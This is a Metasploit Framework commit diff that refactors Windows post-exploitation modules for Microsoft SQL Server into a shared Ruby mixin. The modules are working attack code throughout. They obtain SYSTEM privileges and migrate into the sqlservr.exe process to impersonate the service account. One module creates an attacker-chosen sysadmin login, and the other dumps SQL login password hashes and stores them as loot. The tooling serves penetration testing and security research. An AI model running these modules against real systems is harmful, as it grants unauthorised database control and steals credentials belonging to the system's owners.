Refactor MSSQL Post

bug/bundler_fix
Meatballs 2015-02-24 22:05:16 +00:00
parent 1558190a9d
commit e2af15a0df
3 changed files with 280 additions and 704 deletions

View File

@ -0,0 +1,156 @@
# -*- coding: binary -*-
module Msf
class Post
module Windows
module MSSQL
attr_accessor :sql_client
include Msf::Exploit::Remote::MSSQL_COMMANDS
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
## ----------------------------------------------
## Method to check if the SQL Server service is running
## ----------------------------------------------
def check_for_sqlserver(instance=nil)
target_service = nil
each_service do |service|
unless instance.to_s.strip.empty?
if service[:display].downcase.include?(instance.downcase)
target_service = service
break
end
else
# Target default instance
if service[:display] =~ /SQL Server \(| MSSQLSERVER/i
target_service = service
break
end
end
end
if target_service
target_service.merge!(service_info(target_service[:name]))
end
return target_service
end
## ----------------------------------------------
## Method for identifying which SQL client to use
## ----------------------------------------------
def get_sql_client
client = nil
if check_sqlcmd
client = 'sqlcmd'
elsif check_osql
client = 'osql'
end
@sql_client = client
return client
end
def check_osql
running_services1 = run_cmd("osql -?")
services_array1 = running_services1.split("\n")
return services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
end
def check_sqlcmd
running_services = run_cmd("sqlcmd -?")
services_array = running_services.split("\n")
services_array.each do |service|
if service =~ /SQL Server Command Line Tool/
return true
end
end
end
def run_sql(query, instance=nil, server='.')
target = server
if instance && instance.downcase != 'mssqlserver'
target = "#{server}\\#{instance}"
end
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
vprint_status(cmd)
run_cmd(cmd)
end
## ----------------------------------------------
## Method for executing cmd and returning the response
##
## Note: This is from one of Jabra's modules - Thanks man!
## Note: This craps out when escalating from local admin to system
## I assume it has something to do with the token, but don't
## really know.
##----------------------------------------------
def run_cmd(cmd, token=true)
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
res
end
## ----------------------------------------------
## Method for impersonating sql server instance
## ----------------------------------------------
def impersonate_sql_user(service)
pid = service[:pid]
vprint_status("Current user: #{session.sys.config.getuid}")
# Attempt to migrate to target sqlservr.exe process
# Migrating works, but I can't rev2self after its complete
print_warning("Attempting to migrate to process #{pid}...")
begin
session.core.migrate(pid)
rescue Rex::RuntimeError => e
print_error(e.to_s)
return false
end
vprint_status("Current user: #{session.sys.config.getuid}")
print_good("Successfully migrated to sqlservr.exe process #{pid}")
true
end
## ----------------------------------------------
## Method to become SYSTEM if required
## Note: This is from one of Jabra's modules.
## ----------------------------------------------
def get_system
print_status("Checking if user is SYSTEM...")
if is_system?
print_good("User is SYSTEM")
else
# Attempt to get LocalSystem privileges
print_warning("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status && system_status.first
print_good("Success, user is now SYSTEM")
return true
else
print_error("Unable to obtained SYSTEM privileges")
return false
end
end
end
end # MSSQL
end # Windows
end # Post
end # Msf

View File

@ -5,10 +5,13 @@
require 'msf/core' require 'msf/core'
require 'rex' require 'rex'
require 'msf/core/post/windows/mssql'
load '/home/ben/git/metasploit-framework/lib/msf/core/post/windows/mssql.rb'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::Windows::MSSQL
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass', 'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
@ -35,440 +38,113 @@ class Metasploit3 < Msf::Post
[ [
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']), OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']), OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']), OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false']) OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
], self.class) ], self.class)
end end
def run def run
# Set verbosity level
verbose = datastore['VERBOSE'].to_s.downcase
# Set instance name (if specified) # Set instance name (if specified)
instance = datastore['INSTANCE'].to_s.upcase instance = datastore['INSTANCE'].to_s
# Display target # Display target
print_status("Running module against #{sysinfo['Computer']}") print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges # Get LocalSystem privileges
system_status = givemesystem system_status = get_system
if system_status[0] fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
# Check if a SQL Server service is running service = check_for_sqlserver(instance)
service_instance = check_for_sqlserver(instance) fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
if service_instance != 0
# Identify available native SQL client print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
sql_client = get_sql_client() instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
if sql_client != 0
# Check if remove_login was selected if datastore['REMOVE_LOGIN']
if datastore['REMOVE_LOGIN'].to_s.downcase == "false" remove_login(service, instance_name)
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
else
if add_login_status != "userexists" then
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
end
end
end
end
else
# Remove login
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
if remove_status == 0
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Remove login
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
end
end
end
end
end
else else
print_error("Could not obtain LocalSystem privileges") add_login(service, instance_name)
end end
# return to original priv context # attempt to return to original priv context
session.sys.config.revert_to_self session.sys.config.revert_to_self
end end
def add_login(service, instance_name)
begin
add_login_status = add_sql_login(datastore['DB_USERNAME'],
datastore['DB_PASSWORD'],
instance_name)
## ---------------------------------------------- unless add_login_status
## Method to check if the SQL Server service is running raise RuntimeError, "Retry"
## ---------------------------------------------- end
def check_for_sqlserver(instance) rescue RuntimeError => e
if e.message == "Retry"
print_status("Checking for SQL Server...") retry if impersonate_sql_user(service)
# Get Data
running_services = run_cmd("net start")
# Parse Data
services_array = running_services.split("\n")
# Check for the SQL Server service
services_array.each do |service|
if instance == "" then
# Target default instance
if service =~ /SQL Server \(| MSSQLSERVER/ then
# Display results
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
print_good("SQL Server instance found: #{service_instance}")
return service_instance
end
else else
raise $!
# Target user defined instance
if service =~ /#{instance}/ then
# Display user defined instance
print_good("SQL Server instance found: #{instance}")
return instance
end
end end
end end
# Fail
if instance == "" then
print_error("SQL Server instance NOT found")
else
print_error("SQL Server instance \"#{instance}\" was NOT found")
end
return 0
end end
def remove_login(service, instance_name)
begin
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
## ---------------------------------------------- unless remove_status
## Method for identifying which SQL client to use raise RuntimeError, "Retry"
## ---------------------------------------------- end
def get_sql_client rescue RuntimeError => e
if e.message == "Retry"
print_status("Checking for native client...") retry if impersonate_sql_user(service)
else
# Get Data - osql raise $!
running_services1 = run_cmd("osql -?")
# Parse Data - osql
services_array1 = running_services1.split("\n")
# Check for osql
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
print_good("OSQL client was found")
return "osql"
end
# Get Data - sqlcmd
running_services = run_cmd("sqlcmd -?")
# Parse Data - sqlcmd
services_array = running_services.split("\n")
# Check for SQLCMD
services_array.each do |service|
if service =~ /SQL Server Command Line Tool/ then
print_good("SQLCMD client was found")
return "sqlcmd"
end end
end end
# Fail
print_error("No native SQL client was found")
return 0
end end
## ---------------------------------------------- def add_sql_login(dbuser, dbpass, instance)
## Method for adding a login print_status("Attempting to add new login \"#{dbuser}\"...")
## ---------------------------------------------- query = mssql_sa_escalation(username: dbuser, password: dbpass)
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to add new login #{dbuser}...")
# Setup command format to accomidate version inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
else
# User defined instance
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
else
# User defined instance
print_status(" o defined instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data # Get Data
add_login_result = run_cmd("#{sqlcommand}") add_login_result = run_sql(query, instance)
# Parse Data case add_login_result
add_login_array = add_login_result.split("\n") when '', /new login created/i
# Check if user exists
add_login_array.each do |service|
if service =~ /already exists/ then
print_error("Unable to add login #{dbuser}, user already exists")
return "userexists"
end
end
# check for success/fail
if add_login_result.empty? or add_login_result =~ /New login created./
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"") print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
return 1 return true
when /already exists/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
when /password validation failed/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
else else
print_error("Unable to add login #{dbuser}") print_error("Unable to add login #{dbuser}")
print_error("Database Error:\n #{add_login_result}") print_error("Database Error:\n #{add_login_result}")
return 0 return false
end end
end end
def remove_sql_login(dbuser, instance_name)
## ----------------------------------------------
## Method for adding a login to sysadmin role
## ----------------------------------------------
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to make #{dbuser} login a sysadmin...")
# Setup command format to accomidate command inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
begin select 'bingo' end \""
end
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_sysadmin_result = run_cmd("#{sqlcommand}")
# Parse Data
add_sysadmin_array = add_sysadmin_result.split("\n")
# Check for success
check = 0
add_sysadmin_array.each do |service|
if service =~ /bingo/ then
check = 1
end
end
# Display results to user
if check == 1
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
return 1
else
# Fail
print_error("Unabled to add #{dbuser} to sysadmin role")
print_error("Database Error:\n\n #{add_sysadmin_result}")
return 0
end
end
## ----------------------------------------------
## Method for removing login
## ----------------------------------------------
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
print_status("Attempting to remove login \"#{dbuser}\"") print_status("Attempting to remove login \"#{dbuser}\"")
query = "sp_droplogin '#{dbuser}'"
# Setup command format to accomidate command inconsistencies remove_login_result = run_sql(query, instance_name)
if instance == ""
# Check default instance name
if service_instance == "SQLEXPRESS" then
# Set command here for SQLEXPRESS
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
end
else
# Set command here
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
end
# Display debugging information
print_status("Settings:") if verbose == "true"
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
print_status(" o User: #{dbuser}") if verbose == "true"
print_status(" o Service instance: #{service_instance}") if verbose == "true"
print_status(" o User defined instance: #{instance}") if verbose == "true"
print_status("Command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
remove_login_result = run_cmd("#{sqlcommand}")
# Parse Data
remove_login_array = remove_login_result.split("\n")
# Check for success
check = 0
remove_login_array.each do |service|
if service =~ // then
check = 1
end
end
# Display result # Display result
if check == 0 if remove_login_result.empty?
print_good("Successfully removed login \"#{dbuser}\"") print_good("Successfully removed login \"#{dbuser}\"")
return 1 return true
else else
# Fail # Fail
print_error("Unabled to remove login #{dbuser}") print_error("Unabled to remove login #{dbuser}")
print_error("Database Error:\n\n #{remove_login_result}") print_error("Database Error:\n\n #{remove_login_result}")
return 0 return false
end end
end end
## ----------------------------------------------
## Method for executing cmd and returning the response
##
## Note: This is from one of Jabra's modules - Thanks man!
## Note: This craps out when escalating from local admin to system
## I assume it has something to do with the token, but don't
## really know.
##----------------------------------------------
def run_cmd(cmd,token=true)
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
process = session.sys.process.execute(cmd, nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
return res
end
## ----------------------------------------------
## Method for impersonating sql server instance
## ----------------------------------------------
def impersonate_sql_user(service_instance,verbose)
# Print the current user
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
# Define target user/pid
targetuser = ""
targetpid = ""
# Identify SQL Server service processes
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
session.sys.process.get_processes().each do |x|
# Search for all sqlservr.exe processes
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
# Found one
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
# Define target pid / user
if x['user'] =~ /NT SERVICE/ then
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
targetpid = x['pid']
end
else
targetuser = x['user']
targetpid = x['pid']
end
end
end
# Attempt to migrate to target sqlservr.exe process
if targetuser == "" then
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
return 0
else
begin
# Migrating works, but I can't rev2self after its complete
print_status("Attempting to migrate to process #{targetpid}...")
session.core.migrate(targetpid.to_i)
# Statusing
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
return 1
rescue
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
return 0
end
end
end
## ----------------------------------------------
## Method to become SYSTEM if required
## Note: This is from one of Jabra's modules.
## ----------------------------------------------
def givemesystem
# Statusing
print_status("Checking if user is SYSTEM...")
# Check if user is system
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
print_good("User is SYSTEM")
return 1
else
# Attempt to get LocalSystem privileges
print_error("User is NOT SYSTEM")
print_status("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status[0]
print_good("Success!, user is now SYSTEM")
return 1
else
print_error("Unable to obtained SYSTEM privileges")
return 0
end
end
end
end end

View File

@ -6,17 +6,12 @@
require 'msf/core' require 'msf/core'
require 'rex' require 'rex'
require 'msf/core/auxiliary/report' require 'msf/core/auxiliary/report'
require 'rex/proto/rfb' require 'msf/core/post/windows/mssql'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles include Msf::Post::Windows::MSSQL
VERSION_5 = Gem::Version.new('5.0')
VERSION_6 = Gem::Version.new('6.0')
VERSION_8 = Gem::Version.new('8.0')
VERSION_9 = Gem::Version.new('9.0')
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
@ -33,249 +28,105 @@ class Metasploit3 < Msf::Post
register_options( register_options(
[ [
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']), OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
], self.class) ], self.class)
end end
def run def run
# Set verbosity level
verbose = datastore['VERBOSE'].to_s.downcase
# Set instance name (if specified) # Set instance name (if specified)
instance = datastore['INSTANCE'].to_s.upcase instance = datastore['INSTANCE'].to_s
# Display target # Display target
print_status("Running module against #{sysinfo['Computer']}") print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges # Get LocalSystem privileges
system_status = givemesystem system_status = get_system
if system_status[0] fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
# Check if a SQL Server service is running service = check_for_sqlserver(instance)
service_instance = check_for_sqlserver(instance) fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
if service_instance != 0
# Identify available native SQL client print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
sql_client = get_sql_client() instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
if sql_client != 0
# Get Password Hashes begin
add_sql_status = get_sql_hash(sql_client,instance,service_instance,verbose) get_sql_hash(instance_name)
rescue RuntimeError
# If Fail # Attempt to impersonate sql server service account (for sql server 2012)
if add_sql_status == 0 if impersonate_sql_user(service)
get_sql_hash(instance_name)
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Get Password Hashes
get_sql_hash(sql_client,instance,service_instance,verbose)
end
end
end
end end
else
print_error("Could not obtain LocalSystem privileges")
end end
# return to original priv context # return to original priv context
session.sys.config.revert_to_self session.sys.config.revert_to_self
end end
def get_sql_version(instance_name)
vprint_status("Attempting to get version...")
## ---------------------------------------------- query = mssql_sql_info
## Method to check if the SQL Server service is running
## ----------------------------------------------
def check_for_sqlserver(instance)
print_status("Checking for SQL Server...") get_version_result = run_sql(query, instance_name)
# Get Data
running_services = run_cmd("net start")
# Parse Data
services_array = running_services.split("\n")
# Check for the SQL Server service
services_array.each do |service|
if instance == "" then
# Target default instance
if service =~ /SQL Server \(| MSSQLSERVER/ then
# Display results
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
print_status("SQL Server instance found: #{service_instance}")
return service_instance
end
else
# Target user defined instance
if service =~ /#{instance}/ then
# Display user defined instance
print_status("SQL Server instance found: #{instance}")
return instance
end
end
end
# Fail
if instance == "" then
print_error("SQL Server instance NOT found")
else
print_error("SQL Server instance \"#{instance}\" was NOT found")
end
return 0
end
## ----------------------------------------------
## Method for identifying which SQL client to use
## ----------------------------------------------
def get_sql_client
print_status("Checking for native client...")
# Get Data - osql
running_services1 = run_cmd("osql -?")
# Parse Data - osql
services_array1 = running_services1.split("\n")
# Check for osql
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
print_status("OSQL client was found")
return "osql"
end
# Get Data - sqlcmd
running_services = run_cmd("sqlcmd -?")
# Parse Data - sqlcmd
services_array = running_services.split("\n")
# Check for SQLCMD
services_array.each do |service|
if service =~ /SQL Server Command Line Tool/ then
print_status("SQLCMD client was found")
return "sqlcmd"
end
end
# Fail
print_error("No native SQL client was found")
return 0
end
## ----------------------------------------------
## Method for getting SQL Version
## ----------------------------------------------
def get_sql_version(sqlclient,instance,service_instance,verbose)
print_status("Attempting to get version...")
mssql_version_query = "SELECT @@version"
# Setup command format to accomidate version inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"SET nocount on;#{mssql_version_query}\" -h-1"
else
# User defined instance
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_version_query}\" -h-1"
end
else
# User defined instance
print_status(" o defined instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"SET nocount on;#{mssql_version_query}\" -h-1"
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
get_version_result = run_cmd("#{sqlcommand}")
# Parse Data # Parse Data
get_version_array = get_version_result.split("\n") get_version_array = get_version_result.split("\n")
version_year = get_version_array[0].strip.slice(/\d\d\d\d/) version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
if version_year if version_year
print_status("MSSQL version found: #{version_year}") vprint_status("MSSQL version found: #{version_year}")
return version_year return version_year
else else
print_error("MSSQL version not found") vprint_error("MSSQL version not found")
end end
end end
## ---------------------------------------------- def get_sql_hash(instance_name)
## Method for getting password hashes version_year = get_sql_version(instance_name)
## ----------------------------------------------
def get_sql_hash(sqlclient,instance,service_instance,verbose)
version_year = get_sql_version(sqlclient,instance,service_instance,verbose)
case version_year case version_year
when "2000" when "2000"
hashtype = "mssql" hash_type = "mssql"
mssql_password_hashes_query = "SELECT name+':'+master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins" query = mssql_2k_password_hashes
when "2005", "2008" when "2005", "2008"
hashtype = "mssql05" hash_type = "mssql05"
mssql_password_hashes_query = "SELECT name+':'+master.sys.fn_varbintohexstr(password_hash) FROM master.sys.sql_logins" query = mssql_2k5_password_hashes
when "2012", "2014" when "2012", "2014"
hashtype = "mssql12" hash_type = "mssql12"
mssql_password_hashes_query = "SELECT name+':'+master.sys.fn_varbintohexstr(password_hash) FROM master.sys.sql_logins" query = mssql_2k5_password_hashes
else
fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version")
end end
print_status("Attempting to get password hashes...") print_status("Attempting to get password hashes...")
# Setup command format to accomidate version inconsistencies get_hash_result = run_sql(query, instance_name)
if instance == ""
# Check default instance name if get_hash_result.include?('0x')
if service_instance == "MSSQLSERVER" then # Parse Data
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true" hash_array = get_hash_result.split("\r\n").grep(/0x/)
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200"
else store_hashes(hash_array, hash_type)
# User defined instance
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200"
end
else else
# User defined instance fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes")
print_status(" o defined instance: #{instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200"
end end
end
# Display debugging information def store_hashes(hash_array, hash_type)
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
get_hash_result = run_cmd("#{sqlcommand}")
#print_good("Raw Result: \n#{get_hash_result}")
# Parse Data
get_hash_array = get_hash_result.split("\n").grep(/:/)
# Save data # Save data
loot_hashes = "" loot_hashes = ""
get_hash_array.each do |row| hash_array.each do |row|
user = row.strip.split(":")[0] user, hash = row.strip.split
hash = row.strip.split(":")[1]
service_data = { service_data = {
address: ::Rex::Socket.getaddress(rhost,true), address: rhost,
port: rport, port: rport,
service_name: 'mssql', service_name: 'mssql',
protocol: 'tcp', protocol: 'tcp',
workspace_id: myworkspace_id workspace_id: myworkspace_id
} }
# Initialize Metasploit::Credential::Core object # Initialize Metasploit::Credential::Core object
@ -286,7 +137,7 @@ class Metasploit3 < Msf::Post
private_data: hash, private_data: hash,
username: user, username: user,
session_id: session_db_id, session_id: session_db_id,
jtr_format: hashtype, jtr_format: hash_type,
workspace_id: myworkspace_id workspace_id: myworkspace_id
} }
@ -303,127 +154,20 @@ class Metasploit3 < Msf::Post
# Merge in the service data and create our Login # Merge in the service data and create our Login
login_data.merge!(service_data) login_data.merge!(service_data)
login = create_credential_login(login_data) create_credential_login(login_data)
print_good("#{rhost} Saving = #{user}:#{hash}") print_line("#{user}:#{hash}")
loot_hashes << user+":"+hash+"\n"
loot_hashes << "#{user}:#{hash}\n"
end end
if loot_hashes != ""
unless loot_hashes.empty?
# Store MSSQL password hash as loot # Store MSSQL password hash as loot
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash') loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
print_good("MSSQL password hash saved in: #{loot_path}") print_good("MSSQL password hash saved in: #{loot_path}")
return 1 return true
else else
return 0 return false
end
end
## ----------------------------------------------
## Method for executing cmd and returning the response
## Note: This is from one of Jabra's modules - Thanks man!
##----------------------------------------------
def run_cmd(cmd,token=true)
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
process = session.sys.process.execute(cmd, nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
return res
end
## ----------------------------------------------
## Method for impersonating sql server instance
## Taken from mssql_local_auth_bypass
## Thanks Scott Sutherland !
## ----------------------------------------------
def impersonate_sql_user(service_instance,verbose)
# Print the current user
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
# Define target user/pid
targetuser = ""
targetpid = ""
# Identify SQL Server service processes
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
session.sys.process.get_processes().each do |x|
# Search for all sqlservr.exe processes
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
# Found one
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
# Define target pid / user
if x['user'] =~ /NT SERVICE/ then
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
targetpid = x['pid']
end
else
targetuser = x['user']
targetpid = x['pid']
end
end
end
# Attempt to migrate to target sqlservr.exe process
if targetuser == "" then
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
return 0
else
begin
# Migrating works, but I can't rev2self after its complete
print_status("Attempting to migrate to process #{targetpid}...")
session.core.migrate(targetpid.to_i)
# Statusing
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
return 1
rescue
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
return 0
end
end
end
## ----------------------------------------------
## Method to become SYSTEM if required
## Note: This is from one of Jabra's modules.
## ----------------------------------------------
def givemesystem
# Statusing
print_status("Checking if user is SYSTEM...")
# Check if user is system
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
print_status("User is SYSTEM")
return 1
else
# Attempt to get LocalSystem privileges
print_error("User is NOT SYSTEM")
print_status("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status[0]
print_good("Success!, user is now SYSTEM")
return 1
else
print_error("Unable to obtained SYSTEM privileges")
return 0
end
end end
end end